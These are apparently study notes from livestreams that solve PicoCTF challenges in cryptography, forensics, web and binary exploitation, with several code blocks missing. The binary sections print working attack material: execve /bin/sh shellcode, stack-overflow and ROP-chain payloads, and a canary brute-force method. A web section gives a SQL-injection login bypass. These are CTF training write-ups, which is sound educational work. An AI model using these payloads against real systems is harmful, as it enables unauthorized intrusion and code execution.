Notes: Gynvael’s Hacking Livestreams for PicoCTF Challenges
Table of Contents
Note:
If you’re following along with your own picoctf account and solving challenges, not all values in the writeups will be the same as yours. For example, the last few characters of the flags are randomized, problem paths in the shell server are different for each user, and for the asm reversing problems, the values you get are different.
Credits
All the credit goes to Gynvael Coldwind for making these streams. Check him out.
I based the table format above on this.
J.V. for the timestamps in Parts 2, 3, and 4.
The Factory’s Secret - General Skills
Gynvael gave up on this. Maybe it was too easy.
Glory of the Garden - Forensics
Grep to win (used in super easy challenges or badly prepared challenges)
Insp3ct0r - Web Exploitation
Just use “view page source”
Let’s Warm Up - General Skills
Just use an online ascii table or hex to ascii converter or the following
or just man ascii
The Numbers - Cryptography
There are only numbers no larger than 26 so the numbers just stand for the index of each letter in the alphabet. Manually do it or use this script from Gynvael:
Warmed Up - General Skills
0x3D to base 10
0x3 + 0xD =
3 * 16 + 0xD =
48 + 0xD =
48 + 13 =
61
2Warm - General Skills
or use math and do it the long way
2 * 16 = 0x20 = 32
3 * 16 = 0x30 = 48
So 42 in decimal is 0x2A
Powers of 2: 8421
2 A
01 1010
handy-shellcode - Binary Exploitation
Connect to the shell server
The gets() function is the vulnerable part of the code. This means we can use any character except ‘\n’ or 0x0A
In main(), this line runs the input
If we just run the program and put in input like asdf, the program will crash since asdf aren’t valid instruction that can be executed
As we can see, the program just segfaults.
However, if we use 0xC3 as the input, the program will run without crashing since 0xC3 is the ‘ret’ assembly instruction, so when we run the program with it as input, the program should exit without crashing.
This confirms our assumptions of how the program runs. According to Gynvael, exploitation is a process where “everything can go wrong,” so it’s good to work with small steps to make sure our assumptions are correct.
Find out what architecture the shellcode should be:
This shows us that the program is a 32 bit program running on x86 Linux.
To find some shellcode just google “x86 32 linux shellcode”
We find some shellcode for spawning a shell here
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
Let’s give vuln the shellcode as input
The shellcode above doesn’t seem to work, but it actually does. The program just exits after successfully running the shellcode and spawning a shell. In order to interact with the shell, we need to keep stdin open.
Gynvael saves his shellcode to a file and then uses cat shellcode - | ./vuln
instead but the above does the same thing.
practice-run-1 - Binary Exploitation
Login to the shell server and just run the binary
unzip - Forensics
The flag is in flag.png
vault-door-training - Reverse Engineering
The flag is in the source code
13 - Cryptography
Just use a ROT13 decrypter
ROT13 is just a simple cipher.
Gynvael suggests implementing it if you haven’t already; otherwise just use a decrypter online like https://rot13.com/. Time counts on CTFs, so just use the fastest method.
Bases - General Skills
Convert from Base64
Base64 is used to encode binary to a printable text
Python2
Python3
Easy1 - Cryptography
Basic substitution cipher Vigenère cipher
Use the table
First Grep - General Skills
Grep to win
OverFlow 0 - Binary Exploitation
This line of code means the sigsegv_handler() function is called when the program crashes.
We just have to crash the program to get the flag read to us:
To crash the program, just overflow the buffer by sending in more than buffer length
Resources - General Skills
Just go to the link and scroll down
caesar - Cryptography
Caesar cipher is basically rot-n where n is a number. Use an online decoder like http://theblob.org/rot.cgi.
dont-use-client-side - Web Exploitation
Just sort the substrings in order and then add them all to form the completed flag.
logon - Web Exploitation
Set the admin cookie to True
strings it - General Skills
Another grep to win
vault-door-1 - Reverse Engineering
Just sort the charAt() by indexes and combine the characters into the completed string.
what’s a net cat - General Skills
where are the robots - Web Exploitation
Go to the robots.txt
You’ll find that there is a ‘secret’ webpage: /8e32f.html
You’ll find the flag there
The robots.txt is a “sign” to tell web crawlers and search engines like Google not to index or go to those webpages
OverFlow 1 - Binary Exploitation
Check what type of binary this is
The vulnerable part of the code is the gets(buf);
in the vuln() function:
The source code already has a flag() function helpfully placed in the program to read the flag out to us:
We just have to overwrite the return address with the address of flag.
Get the address of flag
The address of the flag() function is 0x80485e6
Intel x86 uses little endian so use e6 85 04 08 when overwriting the ret address
We use more than 64 bytes because there’s some padding and other stuff we have to overwrite before we hit the return address (like the saved EBP). Experiment with different amounts of A’s to see how many bytes are needed to reach the ret address.
So Meta - Forensics
Grep to win
or use exiftool to look at metadata
What Lies Within - Forensics
Gynvael tries editing the headers to see if there are any hidden rows, opening in GIMP to see if any of the channels have data, and tries adjusting the color curves.
LSB (Least Significant Bit) Steganography turns out to be the solution.
Data is hidden using the least significant bit. E.g. for a color 0x31708f, the f could be changed to a b to store data. The small change in color is not really noticeable.
Use an online decoder. If you’ve never implemented LSB steg, then that’s another thing you should implement according to Gynvael.
Extensions - Forensics
Just change the extension and open the image
shark on the wire 1 - Forensics
Use wireshark
Gynvael does the following:
Filter packet bytes string pico
Notice that there are UDP packets with length 1 that seem to contain one character of the flag. Filter for UPD packets of length 1. Filter again with 10.0.0.2 since that is the IP address that seems to be associated with the flag data.
Gynvael then just uses “Follow UDP stream” to find the flag
Based - General Skills
Just convert binary to ascii, decimal to ascii, and octal to ascii, etc.
Converting hex to ascii in python3
Client-side-again - Web Exploitation
Look at the verify() function in the javascript
Isolate only the if cases
Replace split with 0x4 since we know split = 0x4
Do math and simplify
We can use the javascript bash to figure out that _0x4b5b(‘0x2’) is just substring so all the checkpass[_0x4b5b(‘0x2’)] can be replaced with checkpass[‘substring’]
Remove redundant checks
Use the javascript bash to figure out what _0x4b5b(‘0x3’) and so on are.
Piece the flag together using above:
picoCTF{not_this_again_39d025}
First Grep: Part II - General Skills
Flags - Cryptography
Just use a navy flags chart International Code of Signals.
Flag is all CAPS
Mr-Worldwide - Cryptography
First letter of city names of the GPS coordinates.
Open-to-admins - Web Exploitation
Gynvael adds an admin="True” cookie, but it doesn’t do anything.
Gynvael looks at session data.
But it turns out you just had to set the cookies:
In the javascript bash
Tapping - Cryptography
Just use a morse code decoder.
All uppercase
la cifra de - Cryptography
It uses the Vigenère cipher. Just use an online decoder using English.
picobrowser - Web Exploitation
Change the user agent to picobrowser
Use Chrome DevTools and create a new emulated device with user agent string “picobrowser”
or use curl
plumbing - General Skills
rsa-pop-quiz - Cryptography
You must know RSA for this task, but “it’s really simple.”
Connect to the quiz using netcat:
Question 1:
#### NEW PROBLEM ####
q : 60413
p : 76753
##### PRODUCE THE FOLLOWING ####
n
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO SHOW ME WHAT YOU GOT! ###
n:
It’s possible to calculate n since n = q*p
.
Solve for n:
Question 2:
#### NEW PROBLEM ####
p : 54269
n : 5051846941
##### PRODUCE THE FOLLOWING ####
q
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO SHOW ME WHAT YOU GOT! ###
q:
Just use q = n/p
and some python.
Question 3:
#### NEW PROBLEM ####
e : 3
n : 12738162802910546503821920886905393316386362759567480839428456525224226445173031635306683726182522494910808518920409019414034814409330094245825749680913204566832337704700165993198897029795786969124232138869784626202501366135975223827287812326250577148625360887698930625504334325804587329905617936581116392784684334664204309771430814449606147221349888320403451637882447709796221706470239625292297988766493746209684880843111138170600039888112404411310974758532603998608057008811836384597579147244737606088756299939654265086899096359070667266167754944587948695842171915048619846282873769413489072243477764350071787327913
##### PRODUCE THE FOLLOWING ####
q
p
IS THIS POSSIBLE and FEASIBLE? (Y/N):n
n is quite large (2049 bytes), so factoring n to try and get the prime numbers (p and q) would be take way too long. There’s no fast way to factor n.
Question 4:
#### NEW PROBLEM ####
q : 66347
p : 12611
##### PRODUCE THE FOLLOWING ####
totient(n)
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO SHOW ME WHAT YOU GOT! ###
totient(n):
Use this equation totient(n) = (q-1)*(p-1)
and python to calculate it
Question 5:
#### NEW PROBLEM ####
plaintext : 6357294171489311547190987615544575133581967886499484091352661406414044440475205342882841236357665973431462491355089413710392273380203038793241564304774271529108729717
e : 3
n : 29129463609326322559521123136222078780585451208149138547799121083622333250646678767769126248182207478527881025116332742616201890576280859777513414460842754045651093593251726785499360828237897586278068419875517543013545369871704159718105354690802726645710699029936754265654381929650494383622583174075805797766685192325859982797796060391271817578087472948205626257717479858369754502615173773514087437504532994142632207906501079835037052797306690891600559321673928943158514646572885986881016569647357891598545880304236145548059520898133142087545369179876065657214225826997676844000054327141666320553082128424707948750331
##### PRODUCE THE FOLLOWING ####
ciphertext
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
Encryption: Ciphertext = plaintext^e mod n
Use python:
Question 6:
#### NEW PROBLEM ####
ciphertext : 107524013451079348539944510756143604203925717262185033799328445011792760545528944993719783392542163428637172323512252624567111110666168664743115203791510985709942366609626436995887781674651272233566303814979677507101168587739375699009734588985482369702634499544891509228440194615376339573685285125730286623323
e : 3
n : 27566996291508213932419371385141522859343226560050921196294761870500846140132385080994630946107675330189606021165260590147068785820203600882092467797813519434652632126061353583124063944373336654246386074125394368479677295167494332556053947231141336142392086767742035970752738056297057898704112912616565299451359791548536846025854378347423520104947907334451056339439706623069503088916316369813499705073573777577169392401411708920615574908593784282546154486446779246790294398198854547069593987224578333683144886242572837465834139561122101527973799583927411936200068176539747586449939559180772690007261562703222558103359
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):n
You need the private key, d, to get the plaintext. And in order to get d, you need q and p, but we only have n and e.
Question 7:
Use python
Question 8:
#### NEW PROBLEM ####
p : 153143042272527868798412612417204434156935146874282990942386694020462861918068684561281763577034706600608387699148071015194725533394126069826857182428660427818277378724977554365910231524827258160904493774748749088477328204812171935987088715261127321911849092207070653272176072509933245978935455542420691737433
ciphertext : 9276182891752530901219927412073143671948875482138883542938401204867776171605127572134036444953137790745003888189443976475578120144429490705784649507786686788217321344885844827647654512949354661973611664872783393501992112464825441330961457628758224011658785082995945612195073191601952238361315820373373606643521463466376095236371778984942891123936191796720097900593599447528583257806196551724676380135110693228330934418147759387990754368525068685861547977993085149359162754890674487823080750579601100854795031284533864826255207300350679553486505961837349042778851010569582458629638648589442067576234798724906377157351
e : 65537
n : 23952937352643527451379227516428377705004894508566304313177880191662177061878993798938496818120987817049538365206671401938265663712351239785237507341311858383628932183083145614696585411921662992078376103990806989257289472590902167457302888198293135333083734504191910953238278860923153746261500759411620299864395158783509535039259714359526738924736952759753503357614939203434092075676169179112452620687731670534906069845965633455748606649062394293289967059348143206600765820021392608270528856238306849191113241355842396325210132358046616312901337987464473799040762271876389031455051640937681745409057246190498795697239
##### PRODUCE THE FOLLOWING ####
plaintext
IS THIS POSSIBLE and FEASIBLE? (Y/N):y
#### TIME TO SHOW ME WHAT YOU GOT! ###
plaintext:
Python:
To get the flag, just convert the above message to hex and then to ascii
Some attacks: If e is too small
slippery-shellcode - Binary Exploitation
Check for
NX disabled
means the stack is executable in this case
No PIE
means ASLR (Address Space Layout Randomization) is basically disabled, so the starting address is constant.
Vulnerable code:
The gets() function is prone to buffer overflows and so we can put any character (even ‘\0’ bytes) in the buffer except ‘\n’.
This line of code just executes the buffer: ((void (*)()))(buf + offset))();
.
We need a nopsled since the code randomizes where we run the buffer.
We can use a nopsled to fill the buffer so that it doesn’t really matter where in the nopsled the cpu starts executing from.
For our shellcode, we can use c library functions, since the binary is statically linked:
32-bit shellcode
You could use some shellcode from the internet or create your own. Gynvael decides to write his own custom shellcode for fun using fopen/fgets.
Open the binary in IDA or Ghidra or objdump to find the addresses of the functions.
System is not in the binary unfortunately, but fopen is, so we can use it to open the flag.txt.
Shellcode:
Save above shellcode as a file like asdf.asm and then compile
This produces a binary called asdf
To pass the shellcode as input to the program:
For an actual ctf, Gynvael recommends not writing your own shellcode due to time constraints.
vault-door-3 - Reverse Engineering
Gynvael gets stuck trying to create a mapping table, so he tries another way:
Just take the part of the java code that does the scrambling and creates the simple anagram
Convert to python to make it easier:
Now use the above python to get the flag
whats-the-difference - General Skills
Find the difference between the files using python:
where-is-the-file - General Skills
Connect to the shell server
WhitePages - Forensics
Gynvael wants to do a forensics before moving on to binary exploitation
Opening up in sublime shows what looks like a blank file
Opening in a hex editor shows that there are in fact 2 characters (looks like UTF-8 chars).
Replace the characters with visible ones (like # and .). If we make the data into 8 columns, we see that the first column always has the same character, which means it is probably ASCII binary data since all printable characters in ASCII use only 7 bits with the top bit being 0. Convert everything to 0’s and 1’s, making sure the top bit is 0.
Use python to convert binary to ascii
c0rrupt - Forensics
Gynvael decides to do another forensics problem and saves the binary exploitation one for later.
The file command just tells us the file is data.
Opening in a text editor reveals some strings like RGB, gAMA, etc. which tells us the file is probably a png.
Use Gynvael’s brute zlib decompressor code at [https://github.com/gynvael/random-stuff/tree/master/brute_zlib]. This code will just try decompressing the zlib data in a png.
Just change data, unused = DecompressStream(d[i:i+128])
to data, unused = DecompressStream(d[i:i+1024000]) # Just change 128 to a large number
since the mystery file is large. The png has a zlib marker so that when the decompression is done, the program will exit.
Notice that the 0000005d.bin
file is the largest, so it’s probably the ones we want to look at. Change the extension to .data and use GIMP to look at the file.
Open as Gray 8-bit and get the black dots to form a vertical line by increasing the width.
The dots are probably the number of filters which are part of each scanline/row of the image, so when they are aligned in a verticalish line, we should have the correct with of the image.
The image should look something like this:
.
.
.
.
.
.
. .. .. ..... .. . . ...
. . .. . . . ... . . . . .
Set Image Type to RGB and you should see some legible text.
Continue increasing the width and try to get the image more clear.
Gynvael says the zlib decompression is probably not an intended solution, but it’s nice trick if there’s a zlib stream like ZIP, GZIP, HTTP compression, or a png.
m00nwalk - Forensics
Gynvael does another forensics challenge.
Listen to the .wav file. Somehow Gynvael figures out it’s SSTV (Slow Scan TV).
SSTV: protocol to send images from satellites.
Gynvael uses the RX-SSTV program and plays the .wav file to get the picture (using the Scottie1 option).
SSTV is something you learn from CTFs and should know for CTFs.
Overflow2 - Binary Exploitation
gets() is the vulnerable function which means any character in our input except ‘\n’ (on windows other characters would be disallowed like Ctrl-D)
We want to call flag() since that prints out the flag, but we see that it checks for function arguments.
We have to push the flag function’s arguments onto the stack as well as overwrite the return address with the address of the flag function in order to execute the flag function.
Here’s a diagram of what the stack should look like when the ret instruction is called (when vuln() returns):
0x080485E6 # This is the address of flag(), the address we want to jump to
Saved EBP # We can fill this with junk (AAAA in this case). This is where the above function will go to when it returns
0xDEADBEEF # Argument 1
0xC0DED00D # Argument 2
$ echo -e '\xE6\x85\x04\x08\x41\x41\x41\x41\xEF\xBE\xAD\xDE\x0D\xD0\xDE\xC0'
We still need to add some characters at the beginning to overflow the buffer. The amount of characters will probably be larger than the buffer length.
$ echo -e 'DDDDCCCCBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xE6\x85\x04\x08\x41\x41\x41\x41\xEF\xBE\xAD\xDE\x0D\xD0\xDE\xC0' | ./vuln
Please enter your string:
DDDDCCCCBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAᆳ
picoCTF{arg5_and_r3turn5001d1db0}Segmentation fault (core dumped)
We needed BUFLENGTH + 12 characters.
NewOverFlow-1 - Binary Exploitation
64-bit exploitation
- 8 bytes instead of 4 bytes
- Calling convention (arguments are in registers sometimes)
Pretty much the same thing as the 32 bit one.
Get the address of the flag:
We see that the address of flag() is 0x0000000000400767. The null bytes wont’ affect gets() since gets() only ends at a newline.
Our exploit format:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA # Padding to reach the saved return address (Right now we don't know how many A's to use to pad it)
\x67\x07\x40\x00\x00\x00\x00\x00 # Address of flag() in little endian which overwrites whatever saved return address there was
Previously, we just guessed how much padding to add to overwrite the return addres, now Gynvael looks at the disassembly of the binary to see if we can calculate how many A’s we need to overwrite the return address with the address of flag.
Note: In the stream Gynvael looks at the flag() function disasssembly by mistake when he should in fact look at the vuln() function’s disassembly to make the exploit since that’s the function that calls gets().
As we can see from the disassembly above, when the ret
instruction is called, the stack will look something like this:
[saved return address]
[saved rbp]
[0x40 bytes for buf]
So we need 64 A’s to overwrite the buffer and then another 8 A’s to overwrite the saved rbp for a total of 72. Then we can overwrite the saved return address with the address of flag().
Exploit
However, when the above, it doesn’t seem to work. Let’s run it in gdb:
It looks like the exploit actually worked in gdb. When you run a program using gdb it drops the permissions from the original binary which is why you have the program couldn’t find flag.txt. The exploit worked in gdb but not outside of it because running a program in gdb changes the environment and program a little bit. Running the exploit locally also succeeds, but running on the shell server outside of gdb fails because there might be slight differences there.
To confirm that we’re actually overwriting the return address on the shell server outside of gdb, we can look for an instruction/function in the binary that will allow us to see if we have control of the return address. Gynvael looks for the 0xEBFE or infinite loop instruction in the binary, but there isn’t one. Instead we can try calling puts("Welcome to 64-bit. Give me a string that gets you the flag: ");
since that will show us if we overwrite the return address. This technique is a common strategy for confirming that we have control of the return address.
These two lines are what we want called to call the puts() function in main().
We want to call address 0x400834 since we need to load the string into rdi as a parameter before calling puts. Use that as the return address we’re overwriting.
We can see that the welcome message was printed twice, indidcating that we did indeed call puts by overwriting the stored return address on the stack. This confirms that we had the right amount of padding to overwrite the return address even though it seems ovewriting the return address with the address of flag() didn’t work.
The next technique we can try is using the address instruction after the start of flag() instead of the address of flag().
Let’s try 0x400768 instead of 0x400768 (address of flag()).
For some reason the program was crashing on the push rbp
instruction (probably due to stack alignment). Later Gynvael says that Canonical compiled the new Ubuntu kernel with some flags that would make a program crash if the stack was misaligned.
like1000 - Forensics
Gynvael fails figure out how to use 7zip, then proceeds to try extracting the tar with the following script:
The above script does work in getting the flag, but tar files are sort of just files concatenated together, so there’s no need for the above script to process the tar in a recurisve way.
Gynvael just opens up a hex editor and finds the magic header for the PNG (89 50 4e 47). He then deletes everything before that header and saves the file. Open in an image viewer as a png and there’s the flag.
vault-door-4 - Reverse Engineering
Just print the myBytes array:
Irish-Name-Repo 1 - Web Exploitation
Test for SQL injection by putting ' "-
in the username. This leads to a HTTP ERROR 500
which tells us it’s probably vulnerable to SQL injection.
When looking at the source, we see a hidden input field, so we set debug to 1
When we sent the same payload as before (' "-
), we get some debug output:
We want the query to look like this:
The space after --
matters since some versions of SQL need it there.
Send the following as the username:' OR 1=1 --
flag_shop - General Skills
This is the piece of code we want to execute to display the flag:
We need account_balance
to be greater than
Luckily account_balance
is a signed integer, so if(account_balance > 100000)
is vulnerable to an integer overflow/integer underflow attack.
If we keep on subtracting from our account balance by buying a bunch of the fake flags, we can eventually get account_balance to be greater than $100,000.
If we buy more than around 2 billion worth of flags, the worth of the flags will wrap around to around negative 2 billion. Then when we subtract a negative amount of money from our balance, it actually adds all that money to our account.
Each “fake” flag costs 900 to buy, so we need to buy around 2386092 fake flags since 2147483647/900=2386092. But in order to get past 2147483647, we need more than that. We also need to take the intial balance of 1100 into account as well. So we have to buy around 2386095 fake flags to get our account balance to a very large positive number. Then with that balance we can buy the real flag.
asm1 - Reverse Engineering
We get this:
Since this is ctf challenge, Gynvael says to just run it unless you’re learning asm.
Fix the jumps, get rid of the numbers, and get rid of PTR so it compiles:
Push the argument and a junk return address onto the stack
Add 10 to every asm+offset since the two push instruction we added are 10 bytes
Compile and run with asmloader (32 bit version):
The returned value is stored in eax per calling conventions
NewOverflow-2 - Binary Exploitation
We see the call to gets() in the vuln() function is the vulnerability in the program once again.
The flag() function seems to be put in the program by mistake.
In a real ctf, Gynvael says to just take the easiest approach and just call this function.
However, in the stream, Gynvael decides to call the win_fn() function since that’s probably the intentional solution.
In order to use the win_fn() function, we need to set the global win1
and win2
variables to true.
We see that win1 can be set using the following function:
and win2 can be set using this function:
We could actually pass the right arguments to the above functions and then call the functions to try and set the win1 and win2 global variables, but it’s much easier to just skip the if cases and jump directly to the win1 = true;
and win2 = true;
.
Use the checksec tool to see what mitigations are in place in the binary:
NX enabled
means that we can’t execute anything on the stack, but there’s no PIE/ASLR (addresses that we see in memory are the addresses that are used in memory). This means ROP (Return Oriented Programming) will probably have to be used.
Gynvael makes a ROP chain by looking at the asm. Gynvael uses IDA but you can use objdump -d vuln
to get the asm also.
In the win_fn1() function we have this:
First we can just jump to the movb $0x1,0x2008fb(%rip)
which sets the win1 var to 1. This way we avoid having to set the parameters of the function.
We’ll have to make the stack look like this:
AAAAAAAAAAAAAAAA... # First we have some padding so we can overflow the stack. We'll figure out how much later.
0x400777 # After gets() is called and vuln() returns, execution will transfer to this address which is the address of the instruction that sets win1 to 1.
0x4141414141414141 # There's a pop %rbp after win1 is set. We need 8 bytes of junk on the stack to pop off.
ADDR # This is the address of what we want to execute next. We'll figure what address we want to chain in next.
In the asm of win_fn2() we see this for the last 4 instruction:
We want ADDR to be the address of the movb $0x1,0x2008bf(%rip)
instruction, since that sets the global win2 variable to 1. Now our exploit looks like this:
AAAAAAAAAAAAAAAA... # First we have some padding so we can overflow the stack. We'll figure out how much later.
0x400777 # After gets() is called and vuln() returns, execution will transfer to this address which is the address of the instruction that sets win1 to 1.
CCCCCCCC # There's a pop %rbp after win1 is set. We need 8 bytes of junk on the stack to pop off.
0x4007b4 # This is the address of the instruction that sets win2 to 1.
After setting win2, we see a pop %rbp
, just like the win_fn1() function. So we add some more junk data for that.
AAAAAAAAAAAAAAAA... # First we have some padding so we can overflow the stack. We'll figure out how much later.
0x400777 # After gets() is called and vuln() returns, execution will transfer to this address which is the address of the instruction that sets win1 to 1.
CCCCCCCC # There's a pop %rbp after win1 is set. We need 8 bytes of junk on the stack to pop off.
0x4007b4 # This is the address of the instruction that sets win2 to 1.
CCCCCCCC # 8 bytes of junk for the pop rbp (doesn't matter what we put here, just needs to be 8 bytes)
Finally the ret
in win_fn2() means we need an ADDR2 to return to:
AAAAAAAAAAAAAAAA... # First we have some padding so we can overflow the stack. We'll figure out how much later.
0x400777 # After gets() is called and vuln() returns, execution will transfer to this address which is the address of the instruction that sets win1 to 1.
CCCCCCCC # There's a pop %rbp after win1 is set. We need 8 bytes of junk on the stack to pop off.
0x4007b4 # This is the address of the instruction that sets win2 to 1.
CCCCCCCC # 8 bytes of junk for the pop rbp (doesn't matter what we put here, just needs to be 8 bytes)
ADDR2 # We want to take execution to this address next
Now that the exploit sets win1 and win2, all we need to do is call the win_fn() function to get our flag. We find that the address of win_fn() is 0x0000000004007be.
Make ADDR2 the address of win_fn()
AAAAAAAAAAAAAAAA... # First we have some padding so we can overflow the stack. We'll figure out how much later.
0x400777 # After gets() is called and vuln() returns, execution will transfer to this address which is the address of the instruction that sets win1 to 1.
CCCCCCCC # There's a pop %rbp after win1 is set. We need 8 bytes of junk on the stack to pop off.
0x4007b4 # This is the address of the instruction that sets win2 to 1.
CCCCCCCC # 8 bytes of junk for the pop rbp (doesn't matter what we put here, just needs to be 8 bytes)
0x4007be # Address of win_fn() which prints the flag
Now all we have to do with the exploit is find how much padding we need to overflow the stack and get the return address overwritten with our address. The asm for vuln() shows this:
The sub $0x40,%rsp
tells us that 0x40 bytes is allocated on the stack for buf. This means that 0x40 bytes or 64 bytes of padding is needed to overflow the buffer. We also need an additional 8 bytes for the saved rbp that we need to overwrite before reaching the return address.
We get this now:
64 A's # 0x40 bytes or 64 bytes needed to overwrite the entire buffer
BBBBBBBB # 8 bytes of junk data needed to overwrite the saved rbp
0x400777 # Address called when vuln() returns to the instruction that sets win1 to 1.
CCCCCCCC # There's a pop %rbp after win1 is set. We need 8 bytes of junk on the stack to pop off.
0x4007b4 # This is the address of the instruction that sets win2 to 1.
CCCCCCCC # 8 bytes of junk for the pop rbp (doesn't matter what we put here, just needs to be 8 bytes)
0x4007be # Address of win_fn() which prints the flag
We just need to align all the addresses since they’re 64-bit addresses:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BBBBBBBB
0x0000000000400777
CCCCCCCC
0x00000000004007b4
CCCCCCCC
0x00000000004007be
Make the addresses little endian:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BBBBBBBB
\x77\x07\x40\x00\x00\x00\x00\x00
CCCCCCCC
\xb4\x07\x40\x00\x00\x00\x00\x00
CCCCCCCC
\xbe\x07\x40\x00\x00\x00\x00\x00
Final Exploit (combine everything):
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x77\x07\x40\x00\x00\x00\x00\x00CCCCCCCC\xb4\x07\x40\x00\x00\x00\x00\x00CCCCCCCC\xbe\x07\x40\x00\x00\x00\x00\x00
Pipe our exploit into the vuln program:
It looks like the it didn’t work. The stack is probably misaligned just like last time (NewOverflow-1). To align the stack, we can just put in the addresses to ret since ret’s are the equivalent to nop (no operation) in return oriented programming.
Find the address of a ret:
$ objdump -d vuln | grep retq
4005de: c3 retq
4006b0: f3 c3 repz retq
4006e9: c3 retq
400729: c3 retq
40074a: c3 retq
400750: f3 c3 repz retq
400780: c3 retq
4007bd: c3 retq
40084c: c3 retq
4008b1: c3 retq
4008cd: c3 retq
400936: c3 retq
4009a4: c3 retq
4009b0: f3 c3 repz retq
4009bc: c3 retq
Just use any of the above (excluding the repz retq
). Gynvael decides to use the 0x40084c address. Put the address of the return in the exploit so that when a ret instruction is executed, the next item on the stack is the address of our ret and then it continues the chain. Here it’s placed after the BBBBBB
.:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x4c\x08\x40\x00\x00\x00\x00\x00\x77\x07\x40\x00\x00\x00\x00\x00CCCCCCCC\xb4\x07\x40\x00\x00\x00\x00\x00CCCCCCCC\xbe\x07\x40\x00\x00\x00\x00\x00
When we use the modified exploit, it works.
Some instructions need stack alignments of 16 bytes instead of 8 bytes, which is why we needed to add another 8 bytes in our exploit with the ret.
asm2 - Reverse Engineering
In the last asm1 challenge, Gynvael just ran the program to find the flag; this time Gynvael actually analyzes the code and converts it to python.
Python translation:
There are no gotos in python, so turn the goto into a while loop and simplify a bit:
If we want to be even more accurate, we would account for the fact that x86 asm operates on 32 bit integers while python doesn’t really have a limit on the size of integers. So we can truncate python’s integers to 32 bits. We don’t have to do this for this challenge since it probably won’t matter.
Now run the function with the provided arguments:
This approach of translating into a higher level language is a standard way of reverse engineering.
CanaRy - Binary Exploitation
A canary is just a random value on the stack in between the local variables and the return address. Thus if an attacker overwrites it by trying to overwrite the return address, the attacker will change the value of the canary and the program will exit immediately.
Reconissance:
No canary means that the program has a custom canary implementation. The program also has ASLR/PIE and NX enabled (non executable stack).
Like every other binary challenge, code to make exploitation easier (no buffering stdout and makes sure priveleges aren’t dropped)
The read_canary() function:
Canary is read from a file called canary.txt and puts the canary in a global variable called key.
We see that the key canary is only 4 bytes.
There’s a constant canary since the canary is read from a file which allows the canary to be bruteforced. Usually this isn’t found in the wild except in fork servers where all the children processes have the same canary or in Windows XP’s kernel.
Let’s look at the vuln() function:
This order of declaration means the stack looks like this:
[RETURN ADDRESSS]
[ Old Saved EBP ]
[ Canary Buffer ]
[ Buf buffer ]
[user_len buffer]
This copies the canary from key
to canary
. This is also usually how it work. The cananry is copied from a “master cookie” (stored in a hidden location) at the beginning of the function.
The following just reads a length from the user:
This reads user input, but it trusts the length we give. Since we control count
, we can cause a buffer overflow.
This just checks if the canary was overwritten:
We want to jump to the flag after bypassing the canary:
The way we attack the canary is brute force the canary one byte at a time. Instead of brute forcing 4 bytes or around 4 billion combinations (2^32), bruteforcing one byte at a time only has 256 (2^8) combinations per byte. We can just overwrite one byte of the canary at a time, and it we guess that byte correctly, we won’t see the *** Stack Smashing Detected ***
message. When we guess the first byte correctly, we can then use that first byte and then guess the second byte. Then when we guess the second byte correctly, we can guess the third and so on. Once we get the canary, we can overwrite the buffer, overwrite the canary with the right canary, overwrite some stuff in between the canary and return address, and then overwrite the return address with the address of display_flag().
Gynvael uses IDA to make sure the buffer is right next to the canary in memory.
Script to find canary:
Test the script locally:
The above error occurs because the binary is trying to open up the canary.txt file. Let’s create it:
The error still occurs:
This is because the vuln binary has the path to canary.txt hard coded.
Use a hex editor to change the hardcoded path which looks like the following:
/problems/canary_0_2aa953036679658ee5e0cc3e373aa8e0/canary.txt
to something like canary.txt
. After patching the binary, the program will look for the canary.txt in the current directory.
Now the script works:
Now we have to use our script call() function to brute force the stack value.
The script works locally:
Testing on remote (make sure to change the path in the script):
The four bytes of the canary on the remote are 51, 51, 120, 79.
With the canary value now figured out, we can now make the payload. We have to deal with ASLR. ASLR moves around memory pages, but not the contents. This means the lowest 3 nibbles (lowest 3 hex digits) of the addresses stays constant.
If we look at the address of display_flag() it says 0x000007ed (using IDA, Ghidra, or objdump). This means that the last few digits 7ed
will reman constant while the rest will change because of ASLR.
Now run the above script on the remote server
Investigative Reversing 0 - Forensics
We get a png and a binary. When we look at the png in a hex editor it looks like there’s a flag at the end of it, although it’s modified. Gynvael looks at the binary in IDA and sees that the binary appends the first 6 bytes of the flag to the png, appends the 9 next bytes after adding 5 to each of the chars, and then subtracts 3 to the next byte. Gynvael does the opposite operations on the hex to reverse what the binary did to get the flag.
asm3 - Reverse Engineering
Here’s the asm:
Standard ebp+offset references arguments.
Convert to python:
miniRSA - Cryptography
This is what we get:
